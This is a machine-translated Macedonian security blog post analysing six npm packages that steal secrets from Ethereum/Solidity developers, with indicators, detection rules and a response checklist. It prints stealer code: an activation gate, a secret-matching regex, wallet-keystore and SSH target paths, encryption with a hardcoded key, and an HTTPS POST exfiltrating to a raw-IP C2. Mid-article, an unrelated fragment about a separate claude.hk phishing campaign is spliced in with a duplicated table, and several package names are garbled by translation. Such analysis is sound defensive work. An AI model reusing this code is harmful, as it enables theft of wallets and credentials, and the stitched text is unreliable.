TL; ДР
На 6 мај 2026 година, еден единствен издавач на npm, namikazesarada010206, објави шест злонамерни пакети насочени кон екосистемот на програмери на Ethereum, Solidity и DeFi.
Пакетите, viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, и web3-utils-core, користеа веродостојни имиња дизајнирани да изгледаат како помошни библиотеки за популарни Web3 алатки.
Сите шест пакувања содржеа исто telemetry.js датотека. Датотеката беше идентична по бајти низ целиот кластер, со SHA-256:
Малициозниот софтвер не се извршува за време на инсталацијата. Нема preinstall or postinstall кука. Наместо тоа, се активира кога пакетот е увезен преку require().
Тој детаљ е важен.
Имплантот чека додека развивачот всушност не го искористи пакетот. Потоа проверува дали работната станица изгледа како вистинска развојна околина на Ethereum / Solidity. Бара клучеви од Alchemy или Infura, приватни клучеви, мнемоник, клучеви од распоредувачот или локален директориум на Foundry.
Ако домаќинот се совпаѓа, крадецот собира SSH приватни клучеви, складишта на клучеви од паричникот Foundry / Geth / Brownie, .env* датотеки и чувствителни променливи на околината. Го шифрира пакетот со AES-256-GCM користејќи тврдокодирана лозинка и го ексфилтрира до сурова IPv4 C2 крајна точка со оневозможена TLS верификација.
Системот за рано предупредување за малициозен софтвер (MEW) на Xygeni ги потврди сите шест пакети како злонамерни. Пакетот извештаи за отстранување на регистарот npm е во исчекување.
Кластерот: Шест пакети, еден издавач
Сметката на издавачот namikazesarada010206 беше поврзано со непотврдената Gmail адреса namikazesarada010206@gmail.com.
Кампањата се појави како еднодневен бран на објавување на 6 мај 2026 година. Сите шест пакети беа версифицирани како 1.0.0, немаше никакви зависности од извршување и испрати само три датотеки:
package.json index.js telemetry.js Тие исто така го прогласија истото изворно складиште:
https://github.com/harunosakura030303-maker/evmchain-config Првите три пакети беа откриени од MEW скенерите при првото објавување. Останатите три беа присилно означени по прегледот на аналитичарите на npm профилот на издавачот. Откако истиот бајт е идентичен telemetry.js беше потврдено низ целиот кластер, тие беа затворени како злонамерни поради конзистентност.
| пакет | верзија | Објавено од npm | MEW билет | Пресудата |
|---|---|---|---|---|
| вием-јадро | 1.0.0 | 2026-05-06 01:38:44Z | # 51049 | Малициозни |
| viem-utils-core | 1.0.0 | 2026-05-06 | # 51050 | Малициозни |
| hardhat-core-utils | 1.0.0 | 2026-05-06 | # 51051 | Малициозни |
| evm-utils | 1.0.0 | 2026-05-06 | # 51069 | Злонамерно, по конзистентност |
| леарница-корисни услуги | 1.0.0 | 2026-05-06 | # 51071 | Злонамерно, по конзистентност |
| web3-utils-core | 1.0.0 | 2026-05-06 | # 51070 | Злонамерно, по конзистентност |
Стратегијата за именување е едноставна, но ефикасна.
Овие пакети не ги имитираат точните имиња на upstream. Наместо тоа, тие користат веродостојни наставки „utility“ како што се -core, -utils, и -utils-coreТоа ги прави да изгледаат како придружни библиотеки што развивачот би очекувал да ги види во близина на Web3 алатките.
| Малициозен пакет | Легитимна цел |
|---|---|
| вием-јадро | viem, популарен клиент на Ethereum TypeScript |
| viem-utils-core | вием |
| hardhat-core-utils | хардхет, мејнстрим развојна средина на Solidity |
| evm-utils | Генерички именски простор за алатки за EVM |
| леарница-корисни услуги | леарница, синџир со алатки Solidity |
| web3-utils-core | web3-utils, помагачи за Web3.js |
Ова е шемата за „дополнителен пакет“: не „Јас сум вистинскиот пакет“, туку „Изгледам како разумен помагач околу вистинскиот пакет“.
За DeFi програмерите кои се движат брзо, тоа е доволно за да создадат ризик.
Што се случува кога пакетот е увезен
Синџирот на напади е мал, намерен и фокусиран на средини за крипто-развој.
Нема кука за инсталација. Наместо тоа, секој пакет вклучува index.js што извезува функционалност на stub, а потоа го вчитува малициозниот модул за телеметрија.
require('./telemetry').init(); Ова значи дека малициозниот софтвер се активира при првиот увоз.
Тоа е оперативно корисно за напаѓачот. Многу скенери и песочни кутии се фокусираат на однесувањето за време на инсталацијата. Овој пакет чека додека не биде всушност користен од развивач, скрипта за градење, пакет за тестирање или патека за извршување.
Порта за активирање: Вклучувај само на вистински работни станици за програмери на Web3
Најважниот дел од имплантот е портата за активирање.
Малициозниот софтвер проверува за променливи на околината што најчесто се наоѓаат на машините за програмери на Ethereum / Solidity:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); Исто така, проверува дали Foundry изгледа дека е инсталиран:
fs.existsSync(path.join(os.homedir(), '.foundry')) Ако ниту еден услов не е точен, функцијата враќа и не прави ништо.
Тоа го прави пакетот потивок во генерички аналитички средини. Песочник без Foundry, Alchemy клучеви, Infura клучеви, приватни клучеви или мнемоник може да има безопасен настап.
На соодветен хост, малициозниот софтвер чека 60 до 90 секунди пред да се собере:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); Доцнењето ја намалува очигледната корелација помеѓу увозот и ексфилтрацијата. .unref() Повикот исто така му дозволува на процесот домаќин да излезе нормално ако пакетот е увезен во краткотрајна скрипта.
Ова не е бучно однесување од типот „скрши и зграби“. Тоа е целен крадец дизајниран да избегне извршување, освен ако околината на развивачот не вреди да се краде од неа.
Што собира крадецот
Откако ќе помине портата за активирање, малициозниот софтвер собира информации од извори кои се најважни во развојот на Web3: приватни клучеви, складишта на клучеви во паричник, акредитиви за распоредување, тајни во облак, npm токени и локална конфигурација на проектот.
| извор | Што се собира |
|---|---|
| процес.енв | Секоја променлива што се совпаѓа со /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Датотеки што содржат PRIVATE KEY или BEGIN OPENSSH, вклучувајќи ја целата содржина на датотеката |
| ~/.foundry/keystores/* | Датотеки за складирање на клучеви од Foundry wallet |
| ~/.ethereum/чување на клучеви/* | Датотеки за складирање на клучеви од Geth паричник |
| ~/.brownie/accounts/* | Датотеки за складирање на клучеви од паричникот „Брауни“ |
| ${cwd}/.env | Целосна содржина на датотеката |
| ${cwd}/.env.local | Целосна содржина на датотеката |
| ${cwd}/.env.production | Целосна содржина на датотеката |
| ${cwd}/.env.development | Целосна содржина на датотеката |
| os.именадомаќин() | Метаподатоци на домаќинот |
| crypto.randomUUID() | Идентификатор на жртва/сесија |
| Date.now () | Временска ознака за собирање |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com ATTA токените се:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 Не бевме во можност да потврдиме дали телеметријата била сопствена аналитика на операторот или посебен монетизиран канал. ATTA токените се исти во двата примерока што ги испитавме.
Група Б: хеибаи
claude.hk OAuth фишинг + ANTHROPIC_BASE_URL киднапирање
Примерокот од 1 април е погрубиот, поран дел од кампањата.
heibai:2.1.88-claude.hk-4 беше објавено од wuguoqiangvip28, сметка креирана на 7 јуни 2025 година. Пакетот експлицитно се версионираше наспроти легитимното 2.1.88 Антропско ослободување.
Не се грижи за CA-cert MITM. Наместо тоа, го лаже корисникот за крајната точка на OAuth.
Злонамерните дополнувања покрај протечениот изворен код на Клод вклучуваат:
| извор | Што се собира |
|---|---|
| процес.енв | Секоја променлива што се совпаѓа со /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i |
| ~/.ssh/* | Датотеки што содржат PRIVATE KEY или BEGIN OPENSSH, вклучувајќи ја целата содржина на датотеката |
| ~/.foundry/keystores/* | Датотеки за складирање на клучеви од Foundry wallet |
| ~/.ethereum/чување на клучеви/* | Датотеки за складирање на клучеви од Geth паричник |
| ~/.brownie/accounts/* | Датотеки за складирање на клучеви од паричникот „Брауни“ |
| ${cwd}/.env | Целосна содржина на датотеката |
| ${cwd}/.env.local | Целосна содржина на датотеката |
| ${cwd}/.env.production | Целосна содржина на датотеката |
| ${cwd}/.env.development | Целосна содржина на датотеката |
| os.именадомаќин() | Метаподатоци на домаќинот |
| crypto.randomUUID() | Идентификатор на жртва/сесија |
| Date.now () | Временска ознака за собирање |
Листата на цели е многу специфична. Ова не е генеричка кражба на прелистувачи или широко стружење на акредитиви. Наменета е за програмери кои градат, тестираат, распоредуваат или управуваат со апликации на Ethereum.
Вклучувањето на складиштата за клучеви Foundry, Geth и Brownie е особено важно. Овие датотеки можат да претставуваат директен пристап до паричници или идентитети на распоредување. Ако напаѓачот може да ги поврзе со лозинки, мнемоник или тајни на животната средина, тој може да биде во можност да премести средства, да се претстави како распоредувач или да компромитира операции со паметни договори.
Шифрирање пред ексфилтрација
Малициозниот софтвер ги криптира собраните податоци пред да ги испрати.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); Хардкодираната лозинка е:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d Конечното оптоварување е завиткано како JSON:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} Само по себе, енкрипцијата не го прави малициозниот софтвер понапреден. Сепак, го отежнува инспекцијата на мрежата. Бранител кој го следи излезот би видел JSON товар, но не и украдените клучеви, датотеките со паричникот или... .env содржина без тврдокодирана лозинка и логика за дешифрирање.
Ексфилтрација на Raw IPv4 C2
Патеката на ексфилтрација е хардкодирана:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); Малверот испраќа податоци до:
https://76.13.37.80:8443/api/v1/telemetry Два детали се издвојуваат.
Прво, C2 е сурова IPv4 адреса, а не домен. Тоа ја отстранува потребата од регистрација на домен и избегнува некои детекции базирани на домен.
Второ, верификацијата на TLS е оневозможена со:
rejectUnauthorized: false Тоа му овозможува на малициозниот софтвер да прифати кој било сертификат, вклучувајќи ги и самопотпишаните сертификати. Со други зборови, напаѓачот добива шифриран транспорт без потреба од валиден јавен сертификат.
Нема логика за повторен обид и нема резервен хост. Грешките се тивко проголтуваат. Ова го држи пакетот тивок ако C2 е офлајн или недостапен.
Зошто оваа кампања е важна
Повеќето злонамерни npm пакети насочени кон програмери бараат широки ингеренции: npm токени, AWS клучеви, GitHub токени или .npmrc додадени фајлови.
Оваа кампања ја стеснува целта.
Бара знаци дека машината му припаѓа на развивач на Ethereum или Solidity. Потоа ги извлекува токму средствата што се важни во таа средина: складишта на клучеви во паричник, приватни клучеви, мнемоник, клучеви за распоредување, .env датотеки и SSH клучеви.
Тоа ја прави кампањата поопасна за Web3 тимовите отколку генерички крадец на npm.
Успешна инфекција може да открие:
- Паричници за распоредување
- Администраторски клучеви за паметни договори
- RPC клучеви на давателот
- Акредитиви за распоредување во облак
- npm објавувачки токени
- SSH пристап до инфраструктура за програмери или градежници
- Тајните на проектот се чуваат во
.envдодадени фајлови: - Продавници за клучеви во паричник за Foundry, Geth или Brownie
Имињата на пакетите исто така покажуваат јасен социјален инженеринг. Тие го таргетираат екосистемот на развивачи на Web3 преку познати имиња на алатки: viem, hardhat, foundry, evm, и web3.
Актерот не треба да ги компромитира вистинските проекти. Потребен им е само развивач кој ќе инсталира нешто што изгледа како разумен придружен пакет.
Индикатори за компромитирање и откривање
| Пакети и издавач | |
|---|---|
| Поле | Vrednost |
| издавач на npm | намиказесарада010206 |
| Е-пошта на издавачот | namikazesarada010206@gmail.com |
| потврдена е-пошта | Не |
| SCM потврдена | Не |
| Рејтинг на репутација | 1.0 |
| делот пакети | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| верзии | Сите 1.0.0 |
| Изворно складиште | https://github.com/harunosakura030303-maker/evmchain-config |
| Потврдено злонамерно | Сите шест пакети |
| мрежа | |
|---|---|
| тип | Vrednost |
| Крајна точка C2 | https://76.13.37.80:8443/api/v1/telemetry |
| C2 IP | 76.13.37.80 |
| C2 порт | 8443/тцп |
| Однесување на TLS | отфрлиНеовластено: лажно |
| Шема на товар | {"v":2,"iv": "d": "т": } |
| Датотеки и хашови | |
|---|---|
| тип | Vrednost |
| telemetry.js SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| Распоред на пакетот | пакет.json, индекс.js, телеметрија.js |
| Број на датотеки | 3 |
| Приближна вкупна големина | 3.4 KB |
Сигнали за активирање
Малициозниот софтвер ги проверува овие променливи на околината:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY Исто така, проверува за:
~/.foundry/ Таргетирани патеки на домаќинот
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development Регекс на колекцијата
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i Белешки за откривање
Неколку правила ја опфаќаат оваа кампања без потреба од целосна анализа на однесувањето.
Прво, скенирајте ги lockfiles за шесте имиња на злонамерни пакети:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core Било кој натпревар во package-lock.json, yarn.lock, pnpm-lock.yamlили node_modules Историјата треба да се третира како сериозен настан.
Второ, следете ги процесите Node.js што ги читаат патеките за складирање клучеви во паричникот:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ Ова ретко е легитимно однесување за пакет увезен како помошна зависност. Особено е сомнително кога е проследено со излезна мрежна активност.
Трето, блокирајте или известете ги HTTPS врските до:
76.13.37.80:8443 Особено кога патеката на барањето е:
/api/v1/telemetry Четврто, барајте npm пакети кои ги комбинираат овие карактеристики:
- Нов или издавач со низок углед
- Непотврдена Gmail сметка
- Име на пакетот што е во непосредна близина на Web3
- Нема значајна историја на складиштето
- Мал распоред на пакетот
index.jsшто вчитува телеметрија или помошна датотека- Нема зависности од извршување
- Колекција на чувствителни променливи на околината
- Пристап до складиштето на клучеви во паричникот
Овој образец е покорисен од еден IOC бидејќи следниот пакет може да ја промени IP адресата, но да ја задржи истата логика на таргетирање.
Контролна листа за одговор на компромис
Ако развивачот користел еден од шесте пакети и неговата околина се совпаѓа со портата за активирање, третирајте ја работната станица како компромитирана.
Тоа вклучува машини со инсталиран Foundry, клучеви Alchemy или Infura во околината, приватни клучеви, мнемоник или клучеви за распоредување.
Препорачан одговор:
- Исклучете го домаќинот од мрежата.
- Зачувај
node_modules, заклучени датотеки, историја на школки и релевантни логови за форензика. - Ротирајте го секој пар SSH клучеви под
~/.ssh/. - Ротирајте ги клучевите од паричникот за секое складиште на клучеви под
~/.foundry,~/.ethereum, и~/.brownie. - Префрлете ги средствата во нови паричници.
- Ротирај ја секоја тајна складирана во
.env*датотеки во репозиториумите во кои работел развивачот. - Ротирајте ги тајните на околината што одговараат на регуларниот израз на колекцијата, вклучувајќи ги AWS клучевите, npm токените, распоредувачките токени, API клучевите, приватните клучеви, семенските податоци и мнемониците.
- Активност во облакот за ревизија, npm, GitHub, RPC провајдерот и блокчејн откако пакетот беше првично инсталиран.
- Преработете ја сликата на работната станица пред повторна употреба.
Што треба да им одземат бранителите
Оваа кампања покажува како npm typosquatting се развива околу екосистемите на програмери со висока вредност.
На актерот не му беше потребна упорност. Не им беше потребна замаглување. Не им беше потребна ниту извршување за време на инсталацијата.
Наместо тоа, тие се потпираа на три работи:
- Веројатни имиња на пакети за Web3
- Активирање само на вистински машини за крипто-развој
- Директна кражба на датотеките и тајните што се најважни за програмерите на Ethereum
Тоа ја прави кампањата лесна за пропуштање при широко скенирање и опасна кога ќе се појави во вистинското опкружување.
За Web3 тимовите, лекцијата е јасна: третирајте ги имињата на зависностите како дел од вашиот модел на закана. Пакет што изгледа како безопасен помошник сепак може да стане најкраткиот пат до компромитирање на паричникот.
Пријавено во регистарот на npm. Ќе ја ажурираме оваа објава кога сметката на издавачот и пакетите ќе бидат отстранети.




